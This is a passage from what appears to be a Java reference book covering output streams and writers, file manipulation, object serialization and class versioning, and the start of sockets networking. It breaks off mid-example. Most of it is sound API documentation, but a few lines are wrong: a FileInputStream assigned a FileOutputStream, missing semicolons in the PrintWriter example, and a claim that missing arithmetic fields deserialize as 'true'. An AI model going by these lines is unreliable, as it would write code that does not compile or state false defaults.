The OutputStreamWriter class serves as a bridge between Writer objects and OutputStream objects. Although an OutputStreamWriter acts like a character stream, it converts its characters to bytes using a character encoding scheme and writes them to an underlying OutputStream. This class is the output counterpart of InputStreamReader. When you create an OutputStreamWriter, specify the underlying OutputStream and, optionally, the name of an encoding scheme. The following example shows how to construct an OutputStreamWriter that writes characters to a file, encoded using the ISO 8859-5 encoding:

String fileName = "encodedfile.txt";
String encodingName = "8859_5";
OutputStreamWriter out;
try {
    FileOutputStream fileOut = new FileOutputStream (fileName);
    out = new OutputStreamWriter (fileOut, encodingName);
} catch (UnsupportedEncodingException e1) {
    System.out.println(encodingName + " is not a supported encoding scheme.");
} catch (IOException e2) {
    System.out.println("The file " + fileName + " could not be opened.");
}

FileWriter and FileOutputStream

The FileOutputStream class is a subclass of OutputStream that writes a stream of bytes to a file. The FileOutputStream class has no explicit open method. Instead, the file is implicitly opened, if appropriate, when you create the FileOutputStream object. There are several ways to create a FileOutputStream:

  • You can create a FileOutputStream by passing the name of a file to be written:

    FileOutputStream f1 = new FileOutputStream("foo.txt");

  • Another constructor is available in Java 1.1 that allows you to specify whether you want to append to the file or overwrite it. The following example constructs a FileOutputStream that appends the given file:

    FileOutputStream f1 = new FileOutputStream("foo.txt", true);

  • You can create a FileOutputStream with a File object:

    File f = new File("foo.txt");
FileOutputStream f2 = new FileOutputStream(f);

  • You can create a FileOutputStream with a FileDescriptor object. A FileDescriptor encapsulates the native operating system's representation of an open file. You can get a FileDescriptor from a RandomAccessFile by calling its getFD() method. You create a FileOutputStream that writes to the open file associated with a RandomAccessFile as follows:

    RandomAccessFile raf;
raf = new RandomAccessFile("z.txt","rw");
FileInputStream f3 = new FileOutputStream(raf.getFD());

    The FileWriter class is a subclass of Writer that writes a stream of characters to a file. The characters to be written are converted to bytes using the default character encoding scheme. If you do not want to use the default encoding scheme, you need to wrap an OutputStreamWriter around a FileOutputStream as shown above. You can create a FileWriter from a filename, a File object, or a FileDescriptor object, as described above for FileOutputStream.

StringWriter

The StringWriter class is a subclass of Writer that stores its data in a String object. Internally, it uses a StringBuffer, which can be examined using getBuffer(). A String containing the data that has been written can be obtained with toString(). The following example creates a StringWriter and writes data into it:

StringWriter out = new StringWriter();
char[] buffer = {'b', 'o', 'o', '!', 'h', 'a'};
out.write('B');
out.write("uga");
out.write(buffer, 0, 4);
System.out.println(out.toString());

This example produces the following output:

Bugaboo!

CharArrayWriter and ByteArrayOutputStream

The CharArrayWriter class is a subclass of Writer that writes characters to an internal array. There are three ways to retrieve the data that has been written to the CharArrayWriter:

  • The toCharArray() method returns a reference to a copy of the internal array.

  • The toString() method returns a String constructed from the internal array.

  • The writeTo() method writes the internal array to another Writer.

This example demonstrates how to create a CharArrayWriter, write data into it, and retrieve the data:

CharArrayWriter out = new CharArrayWriter();
try {
    out.write("Daphne");
}catch (IOException e) {}
char[] buffer = out.toCharArray();
System.out.println(buffer);
String result = out.toString();
System.out.println(result);

This example produces the following output:

Daphne
Daphne

The internal buffer of the CharArrayWriter is expanded as needed when data is written. If you know how many characters you will be writing, you can make your CharArrayWriter a little more efficient by passing an initial size to its constructor.

ByteArrayOutputStream is the byte-oriented equivalent of CharArrayWriter. It works in much the same way, with the following exceptions:

  • The write() methods deal with bytes, not characters. Additionally, ByteArrayOutputStream does not have the write(String) methods that CharArrayWriter defines.

  • Instead of toCharArray(), ByteArrayOutputStream has a toByteArray() method.

  • Three toString() methods are provided. The one with no arguments converts the bytes in the internal array to characters using the default encoding scheme.[1] In Java 1.1, the toString(int) method is deprecated, since it does not convert bytes to characters appropriately. Instead, pass an encoding name to toString(String); this method correctly converts the internal byte array to a character string.

    [1] In Java 1.1, the default encoding scheme is used for the conversion. In earlier versions, characters are simply created using the eight bits of each byte as the low eight bits of the character.

PipedOutputStream and PipedWriter

The PipedOuputStream class is a subclass of OutputStream that facilitates communication between threads. A PipedOutputStream must be connected to a PipedInputStream to be useful, as it writes bytes that can be read by a connected PipedInputStream. There are a few ways to connect a PipedOutputStream to a PipedInputStream. You can first create the PipedInputStream and pass it to the PipedOutputStream constructor like this:

PipedInputStream pi = new PipedInputStream();
PipedOutputStream po = new PipedOutputStream(pi);

You can also create the PipedOutputStream first and pass it to the PipedInputStream constructor like this:

PipedOutputStream po = new PipedOutputStream();
PipedInputStream pi = new PipedInputStream(po);

The PipedOutputStream and PipedInputStream classes each have a connect() method you can use to explicitly connect a PipedOutputStream and a PipedInputStream as follows:

PipedOutputStream po = new PipedOutputStream();
PipedInputStream pi = new PipedInputStream();
po.connect(pi);

Or you can use connect() as follows:

PipedOutputStream po = new PipedOutputStream();
PipedInputStream pi = new PipedInputStream();
pi.connect(po);

Only one PipedInputStream can be connected to a PipedOutputStream at a time. If you use a connect() method to connect a PipedOutputStream to an already connected PipedInputStream, any unread bytes from the previously connected PipedOutputStream are lost.

PipedWriter is the character-based equivalent of PipedOutputStream. It works in the same way, except that a PipedWriter is connected to a PipedReader to complete the pipe, using either the appropriate constructor or the connect() method.

FilterOutputStream and FilterWriter

The FilterOutputStream class is a wrapper class for OutputStream objects. Conceptually, objects that belong to a subclass of FilterOutputStream are wrapped around another OutputStream object. The constructor for this class requires an OutputStream. The constructor sets the object's out instance variable to reference the specified OutputStream, so from that point on, the FilterOutputStream is associated with the given OutputStream. All of the methods of FilterOutputStream work by calling the corresponding methods in the underlying OutputStream. Because the close() method of a FilterOutputStream calls the close() method of the OutputStream that it wraps, you do not need to explicitly close the underlying OutputStream.

A FilterOutputStream does not add any functionality to the object that it wraps, so by itself it is not very useful. However, subclasses of the FilterOutputStream class do add functionality to the objects that they wrap in two ways:

  • Some subclasses add logic to the methods of OutputStream. For example, the BufferedOutputStream class adds logic that buffers write operations.

  • Other subclasses add new methods. An example of this is DataOutputStream, which provides methods for writing primitive Java data types to the stream.

The FilterWriter class is the character-based equivalent of FilterOutputStream. A FilterWriter is wrapped around an underlying Writer object; the methods of FilterWriter call the corresponding methods of the underlying Writer. However, unlike FilterOutputStream, FilterWriter is an abstract class, so you cannot instantiate it directly.

DataOutputStream

The DataOutputStream class is a subclass of the FilterOutputStream class that provides methods for writing a variety of data types to an OutputStream. The DataOutputStream class implements the DataOutput interface, so it defines methods for writing all of the primitive Java data types.

You create a DataOutputStream by passing a reference to an underlying OutputStream to the constructor. Here is an example that creates a DataOutputStream and uses it to write the length of an array as an int and then to write the values in array as long values:

void writeLongArray(OutputStream out, long[] a) throws IOException {
    DataOutputStream dout = new DataOutputStream(out);
    dout.writeInt(a.length);
    for (int i = 0; i < a.length; i++) {
        dout.writeLong(a[i]);
    }
}

BufferedWriter and BufferedOutputStream

The BufferedWriter class is a subclass of Writer that stores output destined for an underlying Writer in an internal buffer. When the buffer fills up, the entire buffer is written, or flushed, to the underlying Writer. Using a BufferedWriter is usually faster than using a regular Writer because it reduces the number of calls that must be made to the underlying device, be it a disk or a network. You can use the flush() method to force a BufferedWriter to write the contents of the buffer to the underlying Writer.

The following example shows how to create a BufferedWriter around a network socket's output stream:

public Writer getBufferedWriter(Socket s) throws IOException {
    OutputStreamWriter converter = new OutputStreamWriter(s.getOutputStream());
    return new BufferedWriter(converter);
}

First, create an OutputStreamWriter that converts characters to bytes using the default encoding scheme. After they are converted, the bytes are written to the socket. Then simply wrap a BufferedWriter around the OutputStreamWriter to buffer the output.

The BufferedOutputStream class is the byte-based equivalent of BufferedWriter. It works in the same way as BufferedWriter, except that it buffers output for an underlying OutputStream. Here's how you would rewrite the previous example to create a BufferedOutputStream around a socket:

public OutputStream getBufferedOutputStream(Socket s) throws IOException {
    return new BufferedOutputStream(s.getOutputStream());
}

PrintWriter and PrintStream

The PrintWriter class is a subclass of Writer that provides a set of methods for printing string representations of every Java data type. A PrintWriter can be wrapped around an underlying Writer object or an underlying OutputStream object. In the case of wrapping an OutputStream, any characters written to the PrintWriter are converted to bytes using the default encoding scheme.[2] Additional constructors allow you to specify if the underlying stream should be flushed after every line-separator character is written.

[2] You can achieve the same effect using an OutputStreamWriter, but it is easier to use the PrintWriter(OutputStream) constructor. However, if you want to use an encoding scheme other than the default one, you need to create your own OutputStreamWriter.

The PrintWriter class provides a print() and a println() method for every primitive Java data type. As their names imply, the println() methods do the same thing as their print() counterparts, but also append a line separator character.

The following example demonstrates how to wrap a PrintWriter around an OutputStream:

boolean b = true;
char c = '%'
double d = 8.31451
int i = 42;
String s = "R = ";
PrintWriter out = new PrintWriter(System.out, true);
out.print(s);
out.print(d);
out.println();
out.println(b);
out.println(c);
out.println(i);

This example produces the following output:

R = 8.31451
true
%
42

PrintWriter objects are often used to report errors. For this reason, the methods of this class do not throw exceptions. Instead, the methods catch any exceptions thrown by any downstream OutputStream or Writer objects and set an internal flag, so that the object can remember that a problem occurred. You can query the internal flag by calling the checkError() method.

Although you can create a PrintWriter that flushes the underlying stream every time a line-separator character is written, this may not always be exactly what you want. Suppose that you are writing a program that has a character-based user interface, and that you want the program to output a prompt and then allow the user to input a response on the same line. In order to make this work with a PrintWriter, you need to get the PrintWriter to write the characters in its buffer without writing a line separator. You can do this by calling the flush() method.

PrintWriter is new as of Java 1.1; it is more capable than the PrintStream class. You should use PrintWriter instead of PrintStream because it uses the default encoding scheme to convert characters to bytes for an underlying OutputStream. The constructors for PrintStream are deprecated in Java 1.1. In fact, the whole class probably would have been deprecated, except that it would have generated a lot of compilation warnings for code that uses System.out and System.err.

Previous | Home | Next
Input Streams and Readers | Book Index | File Manipulation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.3 File Manipulation

Java Fundamental Classes Reference

Previous Chapter 6
I/O 		Next

6.3 File Manipulation

While streams are used to handle most types of I/O in Java, there are some nonstream-oriented classes in java.io that are provided for file manipulation. Namely, the File class represents a file on the local filesystem, while the RandomAccessFile class provides nonsequential access to data in a file. In addition, the FilenameFilter interface can be used to filter a list of filenames.

File

The File class represents a file on the local filesystem. You can use an instance of the File class to identify a file, obtain information about the file, and even change information about the file. The easiest way to create a File is to pass a filename to the File constructor, like this:

new File("readme.txt")

Although the methods that the File class provides for manipulating file information are relatively platform independent, filenames must follow the rules of the local filesystem. The File class does provide some information that can be helpful in interpreting filenames and path specifications. The variable separatorChar specifies the system-specific character used to separate the name of a directory from what follows.[3] In a Windows environment, this is a backslash (\), while in a UNIX or Macintosh environment it is a forward slash (/). You can create a File object that refers to a file called readme.txt in a directory called myDir as follows:

[3] This information is also available as System.getProperty('file.separator'), which is how the File class gets it.

new File("myDir" + File.separatorChar + "readme.txt")

The File class also provides some constructors that make this task easier. For example, there is a File constructor that takes two strings as arguments: the first string is the name of a directory and the second string is the name of a file. The following example does the exact same thing as the previous example:

new File("myDir", "readme.txt")

The File class has another constructor that allows you to specify the directory of a file using a File object instead of a String:

File dir = new File("myDir");
File f = new File(dir, "readme.txt");

Sometimes a program needs to process a list of files that have been passed to it in a string. For example, such a list of files is passed to the Java environment by the CLASSPATH environment variable and can be accessed by the expression:

System.getProperty("java.class.path")

This list contains one or more filenames separated by separator characters. In a Windows or Macintosh environment, the separator character is a semicolon (;), while in a UNIX environment, the separator character is a colon (:). The system-specific separator character is specified by the pathSeparatorChar variable. Thus, to turn the value of CLASSPATH into a collection of File objects, we can write:

StringTokenizer s;
Vector v = new Vector();
s = new StringTokenizer(System.getProperty("java.class.path"),
                        File.pathSeparator);
while (s.hasMoreTokens())
    v.addElement(new File(s.nextToken()));

You can retrieve the pathname of the file represented by a File object with getPath(), the filename without any path information with getName(), and the directory name with getParent().

The File class also defines methods that return information about the actual file represented by a File object. Use exists() to check whether or not the file exists. isDirectory() and isFile() tell whether the file is a file or a directory. If the file is a directory, you can use list() to get an array of filenames for the files in that directory. The canRead() and canWrite() methods indicate whether or not a program is allowed to read from or write to a file. You can also retrieve the length of a file with length() and its last modified date with lastModified().

A few File methods allow you to change the information about a file. For example, you can rename a file with rename() and delete it with delete(). The mkdir() and mkdirs() methods provide a way to create directories within the filesystem.

Many of these methods can throw a SecurityException if a program does not have permission to access the filesystem, or particular files within it. If a SecurityManager has been installed, the checkRead() and checkWrite() methods of the SecurityManager verify whether or not the program has permission to access the filesystem.

FilenameFilter

The purpose of the FilenameFilter interface is to provide a way for an object to decide which filenames should be included in a list of filenames. A class that implements the FilenameFilter interface must define a method called accept(). This method is passed a File object that identifies a directory and a String that names a file. The accept() method is expected to return true if the specified file should be included in the list, or false if the file should not be included. Here is an example of a simple FilenameFilter class that only allows files with a specified suffix to be in a list:

import java.io.File;
import java.io.FilenameFilter;
public class SuffixFilter implements FilenameFilter {
    private String suffix;
    public SuffixFilter(String suffix) {
        this.suffix = "." + suffix;
    }
    public boolean accept(File dir, String name) {
        return name.endsWith(suffix);
    }
}

A FilenameFilter object can be passed as a parameter to the list() method of File to filter the list that it creates. You can also use a FilenameFilter to limit the choices shown in a FileDialog.

RandomAccessFile

The RandomAccessFile class provides a way to read from and write to a file in a nonsequential manner. The RandomAccessFile class has two constructors that both take two arguments. The first argument specifies the file to open, either as a String or a File object. The second argument is a String that must be either "r" or "rw". If the second argument is "r", the file is opened for reading only. If the argument is "rw", however, the file is opened for both reading and writing. The close() method closes the file. Both constructors and all the methods of the RandomAccessFile class can throw an IOException if they encounter an error.

The RandomAccessFile class defines three different read() methods for reading bytes from a file. The RandomAccessFile class also implements the DataInput interface, so it provides additional methods for reading from a file. Most of these additional methods are related to reading Java primitive types in a machine-independent way. Multibyte quantities are read assuming the most significant byte is first and the least significant byte is last. All of these methods handle an attempt to read past the end of file by throwing an EOFException.

The RandomAccessFile class also defines three different write() methods for writing bytes of output. The RandomAccessFile class also implements the DataOutput interface, so it provides additional methods for writing to a file. Most of these additional methods are related to writing Java primitive types in a machine-independent way. Again, multibyte quantities are written with the most significant byte first and the least significant byte last.

The RandomAccessFile class would not live up to its name if it did not provide a way to access a file in a nonsequential manner. The getFilePointer() method returns the current position in the file, while the seek() method provides a way to set the position. Finally, the length() method returns the length of the file in bytes.

Previous | Home | Next
Output Streams and Writers | Book Index | Object Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Object Serialization

Java Fundamental Classes Reference

Previous Chapter 7 Next

7. Object Serialization

Contents:
Object Serialization Basics
Writing Classes to Work with Serialization
Versioning of Classes

The object serialization mechanism in Java 1.1 provides a way for objects to be written as a stream of bytes and then later recreated from that stream of bytes. This facility supports a variety of interesting applications. For example, object serialization provides persistent storage for objects, whereby objects are stored in a file for later use. Also, a copy of an object can be sent through a socket to another Java program. Object serialization forms the basis for the remote method invocation mechanism in Java that facilitates distributed programs. Object serialization is supported by a number of new classes in the java.io package in Java 1.1.

7.1 Object Serialization Basics

If a class is designed to work with object serialization, reading and writing instances of that class is quite simple. The process of writing an object to a byte stream is called serialization. For example, here is how you can write a Color object to a file:

FileOutputStream out = new FileOutputStream("tmp");
ObjectOutput objOut = new ObjectOutputStream(out);
objOut.writeObject(Color.red);

All you need to do is create an ObjectOutputStream around another output stream and then pass the object to be written to the writeObject() method. If you are writing objects to a socket or any other destination that is time-sensitive, you should call the flush() method after you are finished passing objects to the ObjectOutputStream.

The process of reading an object from byte stream is called deserialization. Here is how you can read that Color object from its file:

FileInputStream in = new FileInputStream("tmp");
ObjectInputStream objIn = new ObjectInputStream(in);
Color c = (Color)objIn.readObject();

Here all you need to do is create an ObjectInputStream object around another input stream and call its readObject() method.

Previous | Home | Next
File Manipulation | Book Index | Writing Classes to Work with Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.2 Writing Classes to Work with Serialization

Java Fundamental Classes Reference

Previous Chapter 7
Object Serialization 		Next

7.2 Writing Classes to Work with Serialization

Writing a class that works with serialization is a bit more complicated than simply using that class for serialization. Essentially, an ObjectOutputStream must write enough of an object's state information so that the object can be reconstructed. If an object refers to other objects, those objects must be written, and so on, until all of the objects the original object refers to, directly or indirectly, are written. An ObjectOutputStream does not actually write a Class object that describes an object it is serializing. Instead, an ObjectOutputStream writes an ObjectStreamClass object that identifies the class of the object. Thus, a program that reads a serialized object must have access to a Class object that describes the object being deserialized.

When you are writing a new class, you need to decide whether or not it should be serializable. Serialization does not make sense for every class. For example, a Thread object encapsulates information that is meaningful only within the process that created it, so serialization is not appropriate. In order for instances of a class to be serializable, the class must implement the Serializable interface. The Serializable interface does not declare any methods or variables, so it simply acts as an indicator of serializability. The writeObject() method of an ObjectOutputStream throws a NotSerializableException if it is asked to serialize an object that does not implement the Serializable interface.

The default serialization mechanism is implemented by the writeObject() method in ObjectOutputStream. When an object is serialized, the class of the object is encoded, along with the class name, the signature of the class, the values of the non-static and non-transient fields of the object, including any other objects referenced by the object (except those that do not implement the Serializable interface themselves). Multiple references to the same object are encoded using a reference-sharing mechanism, so that a graph of objects can be restored appropriately. Strings and arrays are objects in Java, so they are treated as objects during serialization (and deserialization).

The default deserialization mechanism mirrors the serialization mechanism. The default deserialization mechanism is implemented by the readObject() method in ObjectInputStream. When an object is deserialized, the non-static and non-transient fields of the object are restored to the values they had when the object was serialized, including any other objects referenced by the object (except for those objects that do not implement the Serializable interface themselves). New object instances are always allocated during the deserialization process, to prevent existing objects from being overwritten. Deserialized objects are returned as instances of type Object, so they should be cast to the appropriate type.

Some classes can simply implement the Serializable interface and make use of the default serialization and deserialization mechanisms. However, a class may need to handle two other issues in order to work with serialization:

  • If any of the superclasses of the class do not implement the Serializable interface, the class must take care of writing any necessary state information for those superclasses during serialization and reading the information back during deserialization.

    When an object is serialized, all of the serializable state information defined by its class and any superclasses that implement the Serializable interface is written to the byte stream. However, any state information defined by superclasses that do not implement the Serializable interface is not written to the byte stream.

    When an object is deserialized, the state information defined by its Serializable superclasses is restored from the byte stream. By default, the state information for a superclass that does not implement the Serializable interface is initialized by called the no-argument constructor for the superclass. If that superclass does not have a no-argument constructor, deserialization fails and the readObject() method throws a NoSuchMethodError.

    If the objects of a class refer to other objects that are not Serializable, the class must take care of writing any necessary state information for the referenced objects during serialization and reading the information back during deserialization.

A class can override the default serialization logic by defining the following method:

private void writeObject(ObjectOutputStream stream) throws IOException

Now, when an object of the class is serialized, this method is called instead of the default mechanism. Note that writeObject() is private, so it is not inherited by subclasses. The implementation of a writeObject() method normally begins by calling the defaultWriteObject() method of ObjectOutputStream, which implements the default serialization logic. After that, a writeObject() method normally goes on to write whatever information is appropriate to reconstruct values that are not directly serialized.

By the same token, a class can override the default deserialization logic by defining the following method:

private void readObject(ObjectInputStream stream)
             throws IOException, ClassNotFoundException

Now, when an object of the class is deserialized, this method is called instead of the default mechanism. readObject() is also private and thus not inherited by subclasses. The implementation of a readObject() method normally begins by calling the defaultReadObject() method of ObjectInputStream, which implements the default deserialization logic. After that, a readObject() method normally goes on to read whatever information is appropriate to reconstruct the values that are not directly serialized.

Let's take a look at a Serializable class that has writeObject() and readObject() methods. The example below is a partial listing of a class that accesses data using a RandomAccessFile object. RandomAccessFile objects are not Serializable because they encapsulate information that is meaningful only on the local system and only for a limited amount of time.

public class TextFileReader implements Serializable {
    private transient RandomAccessFile file;
    private String browseFileName;
    ...
    private void writeObject(ObjectOutputStream stream) throws IOException{
        stream.defaultWriteObject();
        stream.writeLong(file.getFilePointer());
    }
    private void readObject(ObjectInputStream stream) throws IOException {
        try {
            stream.defaultReadObject();
        }catch (ClassNotFoundException e) {
            String msg = "Unable to find class";
            if (e.getMessage() != null)
                msg += ": " + e.getMessage();
            throw new IOException(msg);
        }
        file = new RandomAccessFile(browseFileName, "r");
        file.seek(stream.readLong());
    }
}

The above example gets around being unable to serialize RandomAccessFile objects by having enough information during deserialization to construct a RandomAccessFile object that is similar to the original. The name of the file accessed by the RandomAccessFile object is specified by the browseFileName variable; this state information is handled by the default serialization mechanism. In addition, the writeObject() method writes out the current value returned by the original RandomAccessFile object's getFilePointer() method, so that readObject() can pass that value to the seek() method of a new RandomAccessFile object.

Some sets of objects are more complicated to reconstruct than an instance of the above class and its RandomAccessFile object. In such cases, the information to reconstruct the objects may be spread out over multiple objects in the set. The ObjectInputValidation interface provides a way to handle this situation. As the readObject() method of ObjectInputStream reads a set of objects, it notices which of those objects implement the ObjectInputValidation interface. After readObject() is done reading a set of objects, but before it returns, it calls the validateObject() method for each object in the set that implements the ObjectInputValidation interface. If one of those methods is unable to properly reconstruct something or detects an inconsistency of some sort, it should throw an ObjectInvalidException. Note that the order in which the validateObject() methods are called is not documented.

It is also possible for a class to take complete control over its serialized representation, using the Externalizable interface. The Externalizable interface extends the Serializable interface and defines two methods: writeExternal() and readExternal(). During serialization, if an object implements Externalizable, its writeExternal() method is called. The writeExternal() method is responsible for writing all of the information in the object. Similarly, during deserialization, if an object implements Externalizable, its readExternal() method is called. The readExternal() method is responsible for reading all of the information in the object. Note that the Externalizable mechanism is used instead of, not in addition to, the mechanism for handling Serializable objects.

Previous | Home | Next
Object Serialization Basics | Book Index | Versioning of Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.3 Versioning of Classes

Java Fundamental Classes Reference

Previous Chapter 7
Object Serialization 		Next

7.3 Versioning of Classes

One you have written a class that works with serialization, the next concern is that serialized instances of that class can be deserialized by programs that use a different version of the same class.

After a class is written, it is often necessary to modify its definition as requirements change or new features are needed. Deserialization may fail if the definition of a class in use when an instance was serialized is different than the definition in use when the instance is deserialized. If you do not take any measures to assure the serialization mechanism that the two classes are different versions of the same class, deserialization fails by throwing an InvalidClassException. And even if the serialization mechanism is satisfied that the two class definitions represent different versions of the same class, it may find incompatible differences between the definitions.

The following changes to the definition of a class are noticed by the serialization mechanism:

  • Adding or deleting instance variables.

  • Moving a class up or down the inheritance hierarchy.

  • Making a non-static, non-transient variable either static or transient has the same effect as deleting the variable. Similarly, changing a variable that is static or transient to be non-static or non-transient has the same effect as adding the variable.

  • Changing the data type of a transient variable from a primitive data type to an object reference type or from an object reference type to a primitive data type.

  • Changing the readObject() or writeObject() method of a class so that it calls defaultReadObject() or defaultWriteObject() when it did not previously, or so that it does not call one of these methods when it did previously. The removal or addition of a readObject() or writeObject() method that does not call defaultReadObject() or defaultWriteObject() has a similar effect.

  • Changing a class from Serializable to Externalizable or from Externalizable to Serializable.

It's possible to code around some of these problems if you can first convince the serialization mechanism that the two class definitions are different versions of the same class. In order to convince the serialization mechanism of such a thing, the class definition used for deserialization of an object must define a static final long variable named serialVersionUID. If the class used for serialization also defined that variable with the same value, the two class definitions are assumed to define different versions of the same class.

If the class used for serialization does not define serialVersionUID, the serialization mechanism performs the comparison using a value that is computed by calling the ObjectStreamClass.getSerialVersionUID() method. That computation is based on the fields defined by the class. To take advantage of this automatic computation when you define serialVersionUID, you should use the serialver program that comes with the JDK to determine the appropriate value for serialVersionUID. The serialver program computes a value for serialVersionUID by calling the ObjectStreamClass.getSerialVersionUID() method.

Assuming you've convinced the serialization mechanism that the two class definitions represent different versions of the same class, here is some advice on how to deal with the differences that can be worked around:

Missing variables

If the class used to deserialize an object defines variables the class used to serialize the object did not define, the serialized object does not contain any values for those variables. This situation can also arise if the class used to serialize the object defined a variable as static or transient, while the class used to deserialize the object defines it as non-static or non-transient.

When an object is deserialized and there are variables missing in its serialized form, the variables in the deserialized object are set to default values. In other words, the value of such a variable is true if it has an arithmetic data type, false if it has a boolean data type, or null if it has an object reference type. Deserialization ignores intializers in variable declarations.

When you add variables to a Serializable class, consider the possibility that the new version of the class will deserialize an object serialized with an older version of the class. If that happens and it is unacceptable for the new variables to have default values after deserialization, you can define a validateObject() method for the class to check for the default values and provide acceptable values or throw an InvalidObjectException.

Extra variables

If the serialized form of an object contains values for variables that are not defined by the class used to deserialize that object, the values are read and then ignored. If the value of such a variable is an object, the object is created and immediately becomes a candidate for garbage collection.

Missing classes

If the class used to deserialize an object inherits from an ancestor class that the class used to serialize the object did not inherit from, the serialized object does not contain any values for the variables of the additional ancestor class. Just as with missing variables, those variables are deserialized with their default values.

When you add an ancestor class to a Serializable class, consider the possibility that the new version of the class will deserialize an object serialized with an older version of the class. If that happens and it is unacceptable for instance variables in the new ancestor class to have default values after deserialization, you can define a validateObject() method for the class to check for the default values and provide acceptable values or throw an InvalidObjectException.

Extra classes

If the class used to serialize an object inherits from an ancestor class that the class used to deserialize the object does not inherit from, the values for the variables defined by that extra ancestor class are read but not used.

Adding writeObject() and readObject() methods

You can add writeObject() and readObject() methods to a class that did not have them. In order to deserialize objects that were serialized using the older class definition, the new methods must begin by calling defaultWriteObject() and defaultReadObject(). That ensures that information written out using default logic is still processed using default logic.

If the writeObject() and readObject() methods write and read additional information to and from the byte stream, you should also add an additional variable to the class to serve as a version indicator. For example, you might declare an int variable and initialize it to one. If, after defaultReadObject() returns, the value of that variable is 0, you know the object was serialized using the old class definition and that any additional information that would have been written by the writeObject() method will not be there.

Removing writeObject() and readObject() methods

If you remove writeObject() and readObject() methods from a class and deserialize an object using the new class definition, the information written by a call to writeObject() is simply read by the default logic and any additional information is ignored.

Changing a class so that it implements Serializable

If a superclass of an object did not implement Serializable when the object was serialized, and that superclass does implement Serializable when the object is deserialized, the result is similar to the missing class situation. There is no information about the variables of the newly Serializable superclass in the byte stream, so its instance variables are initialized to default values.

Changing a class so that it does not implement Serializable

If a superclass of an object implemented Serializable when the object was serialized, and that superclass does not implement Serializable when the object is deserialized, the result is similar to the extra class situation. The information in the byte stream for that class is read and discarded.

Previous | Home | Next
Writing Classes to Work with Serialization | Book Index | Networking
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] Networking

Java Fundamental Classes Reference

Previous Chapter 8 Next

8. Networking

Contents:
Sockets
URL Objects

The java.net package provides two basic mechanisms for accessing data and other resources over a network. The fundamental mechanism is called a socket. A socket allows programs to exchange groups of bytes called packets. There are a number of classes in java.net that support sockets, including Socket, ServerSocket, DatagramSocket, DatagramPacket, and MulticastSocket. The java.net package also includes a URL class that provides a higher-level mechanism for accessing and processing data over a network.

8.1 Sockets

A socket is a mechanism that allows programs to send packets of bytes to each other. The programs do not need to be running on the same machine, but if they are running on different machines, they do need to be connected to a network that allows the machines to exchange data. Java's socket implementation is based on the socket library that was originally part of BSD UNIX. Programmers who are familiar with UNIX sockets or the Microsoft WinSock library should be able to see the similarities in the Java implementation.

When a program creates a socket, an identifying number called a port number is associated with the socket. Depending on how the socket is used, the port number is either specified by the program or assigned by the operating system. When a socket sends a packet, the packet is accompanied by two pieces of information that specify the destination of the packet:

  • A network address that specifies the system that should receive the packet.

  • A port number that tells the receiving system to which socket to deliver the data.

Sockets typically work in pairs, where one socket acts as a client and the other functions as a server. A server socket specifies the port number for the network communication and then listens for data that is sent to it by client sockets. The port numbers for server sockets are well-known numbers that are known to client programs. For example, an FTP server uses a socket that listens at port 21. If a client program wants to communicate with an FTP server, it knows to contact a socket that listens at port 21.

The operating system normally specifies port numbers for client sockets because the choice of a port number is not usually important. When a client socket sends a packet to a server socket, the packet is accompanied by the port number of the client socket and the client's network address. The server is then able to use that information to respond to the client.

When using sockets, you have to decide which type of protocol that you want it to use to transport packets over the network: a connection-oriented protocol or a connectionless protocol. With a connection-oriented protocol, a client socket establishes a connection to a server socket when it is created. Once the connection has been established, a connection-oriented protocol ensures that data is delivered reliably, which means:

  • For every packet that is sent, the packet is delivered. Every time a socket sends a packet, it expects to receive an acknowledgement that the packet has been received successfully. If the socket does not receive that acknowledgement within the time it expects to receive it, the socket sends the packet again. The socket keeps trying until transmission is successful, or it decides that delivery has become impossible.

  • Packets are read from the receiving socket in the same order that they were sent. Because of the way that networks work, packets may arrive at the receiving socket in a different order than they were sent. A reliable, connection-oriented protocol allows the receiving socket to reorder the packets it receives, so that they can be read by the receiving program in the same order that they were sent.

A connectionless protocol allows a best-effort delivery of packets. It does not guarantee that packets are delivered or that packets are read by the receiving program in the same order they were sent. A connectionless protocol trades these deficiencies for performance advantages over connection-oriented protocols. Here are two types of situations in which connectionless protocols are frequently preferred over connection-oriented protocols:

  • When only a single packet needs to be sent and guaranteed delivery is not crucial, a connectionless protocol eliminates the overhead involved in creating and destroying a connection. For comparison purposes, the connection-oriented TCP/IP protocol uses seven packets to send a single packet, while the connectionless UDP/IP protocol uses only one. A protocol for getting the current time typically uses a connectionless protocol to request the current time from the server and to return the time to the requester.

  • For extremely time-sensitive applications, such as sending audio in real time, the guarantee of reliable transmission is not an advantage and may be a disadvantage. Pausing until a missing piece of data is received can cause noticeable clicks or pauses in the audio. Techniques for sending audio over a network that use a connectionless protocol have been developed and they work noticeably better. For example, RealAudio uses a protocol that runs on top of a connectionless protocol to transmit sound over a network.

Table 8.1 shows the roles of the various socket classes in the java.net package.

Table 8.1: Socket Classes in java.net
 | Client | Server
Connection-oriented Protocol | Socket | ServerSocket
Connectionless Protocol | DatagramSocket | DatagramSocket

As of Java 1.1, the java.net package also contains a MulticastSocket class that supports connectionless, multicast data communication.

Sockets for Connection-Oriented Protocols

When you are writing code that implements the server side of a connection-oriented protocol, your code typically follows this pattern:

  • Create a ServerSocket object to accept connections.

  • When the ServerSocket accepts a connection, it creates a Socket object that encapsulates the connection.

  • The Socket is asked to create InputStream and OutputStream objects that read and write bytes to and from the connection.

  • The ServerSocket can optionally create a new thread for each connection, so that the server can listen for new connections while it is communicating with clients.

The code that implements the client side of a connection-oriented protocol is quite simple. It creates a Socket object that opens a connection with a server, and then it uses that Socket object to communicate with the server.

Now let's look at an example. The example consists of a pair of programs that allows a client to get the contents of a file from a server. The client requests the contents of a file by opening a connection to the server and sending it the name of a file followed by a newline character. If the server is able to read the named file, it responds by sending the string "Good:\n" followed by the contents of the file. If the server is not able to read the named file, it responds by sending the string "Bad:" followed by the name of the file and a newline character. After the server has sent its response, it closes the connection.

Here's the program that implements the server side of this file transfer:

public class FileServer extends Thread {
    public static void main(String[] argv) {
